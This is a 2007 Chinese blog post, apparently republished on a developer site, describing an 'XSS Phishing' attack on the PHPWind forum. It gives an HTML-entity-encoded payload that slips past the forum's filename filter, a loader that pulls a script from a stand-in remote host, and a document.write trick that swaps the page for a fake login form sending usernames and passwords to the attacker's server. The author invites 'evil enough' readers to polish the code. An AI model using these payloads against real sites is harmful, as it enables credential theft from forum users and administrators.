XSS Phishing - 新式跨站脚本攻击方式

本文介绍了一种新的跨站脚本(XSS)攻击方式——XSSPhishing(跨站脚本钓鱼攻击),通过HTML注入劫持用户的浏览器,构造钓鱼页面直接盗取用户密码。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

作者:茄子宝 2007-07-21

最近跨站脚本漏洞好像比较火,国内的一些比较出名的WEB程序都陆续暴出了跨站脚本漏洞,但是一提到跨站脚本漏洞的攻击方式大家都哑火了,因为在常规的概念中这种漏洞最多是挂网页木马,获取COOKIE之类,属于典型的鸡肋漏洞!

跨站脚本攻击最大的魅力是通过HTML注入劫持用户的浏览器,任意构造用户当前浏览的HTML内容,甚至可以模拟用户当前的操作。我这里介绍一种新式攻击方法:XSS Phishing(跨站脚本钓鱼攻击),利用这种方式可以直接盗取用户的密码。下面我就拿最近PHPWIND论坛所暴出的XSS做一下演示.

[size=medium][color=red][b]I. 漏洞发现[/b][/color][/size]
PHPWIND对上传文件名没有处理严格,导致可以写入跨站脚本。

先做一个简单的测试,发一篇新帖,在附件中随意写入一个本地路径加带“<” 和“>”的文件名,如图一
[img]/upload/attachment/70323/92be9fde-b629-3323-8052-ec804a744ac1.jpg[/img]
发帖成功后我们会发现,帖子附件名已经没有了,如图二
[img]/upload/attachment/70325/e8c3c54e-c948-3c35-a55a-f9b267d80149.jpg[/img]
我们查看当前页面的源代码会发现<xss>已经写到页面内,如图三
[img]/upload/attachment/70327/f6d9e3c4-9fdb-36db-86ad-0855135114ad.jpg[/img]

[size=medium][color=red][b]II. 植入恶意代码[/b][/color][/size]
当然要写入脚本,PHPWIND还是做了限制,文件名中出现"(","/"字符将会被过滤,不过可以利用HTML转码的方式绕过这个限制,如
<TABLE BACKGROUND=javscript:alert(/xss/)>

转换成
<TABLE BACKGROUND=&#106&#97&#118&#97&#115&#99&#114&#105&#112&#116&#58&#97&#108&#101&#114&#116&#40&#47&#120&#115&#115&#47&#41>

这样我们已经实现了跨站脚本的写入,关键是怎么实现攻击,这一处跨站脚本漏洞进行了HTML转码,我们不方便写入过长的内容,那么就加载一个JS文件,动态创建一个script标记,代码如下:
 <TABLE BACKGROUND=javascript:s=document.createElement("script");s.src="http://xxx.com/xss.js";document.body.appendChild(s);>


[size=medium][color=red][b]III. 制作钓鱼页面[/b][/color][/size]
好了,到了这一步我们就可以在JS中任意构造我们的攻击代码,攻击的思路是当用户访问帖子,利用脚本清空当前页面,然后重新写成钓鱼页面。

首先我们可以实验一下,javacript有一个小特性,延时输出将会清空当前页面所有的内容,代码如下:
  
// javascript
function Phish(){
info = "我是来钓鱼的!"
document.write(info);
}
function doit(){
setTimeout("Phish()", 1000 );
}
doit();

如图四,帖子页面的代码和内容全变成了“我是来钓鱼的!”
[img]/upload/attachment/70329/0de17de0-4c9d-33ca-b5c2-1ac7043e5891.jpg[/img]
想一想,如果我们把info变量的内容变成HTML代码会怎样,如图五
[img]/upload/attachment/70330/faa77e90-684f-3b2d-b0c6-77d78e5c43d8.jpg[/img]

嘿嘿,邪恶一点!我们完全可以把页面变成一个自己操纵的登录页面,将表单的值指向远程服务器上的程序,如图六
[img]/upload/attachment/70333/7451cf51-a26e-3a06-8c2c-619e5641eb92.jpg[/img]
然后远程服务器上的程序将接受表单POST的用户和密码,当然我们可以做巧妙点,让其访问后又转跳回论坛首页,代码如下:
[img]/upload/attachment/70335/ba987f86-db2e-3e40-a2cb-ede3319e3da2.jpg[/img]
最后我们便完成了钓鱼的过程,管理员访问我们的帖子,马上重写当前页面,设置一个重新登录的陷阱,盗取用户名和密码,全部过程只在没有察觉的一瞬间.

这类攻击方式危害很大,文中的原始代码只是描叙一下思路,有很多破绽,当然如果你够邪恶的话,完全可以自己重写代码,钓鱼于无形之中。

提醒一下,跨站脚本不仅仅是简单的挂马,XSS Phishing(跨站脚本钓鱼攻击)只是一个简单的开始!
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值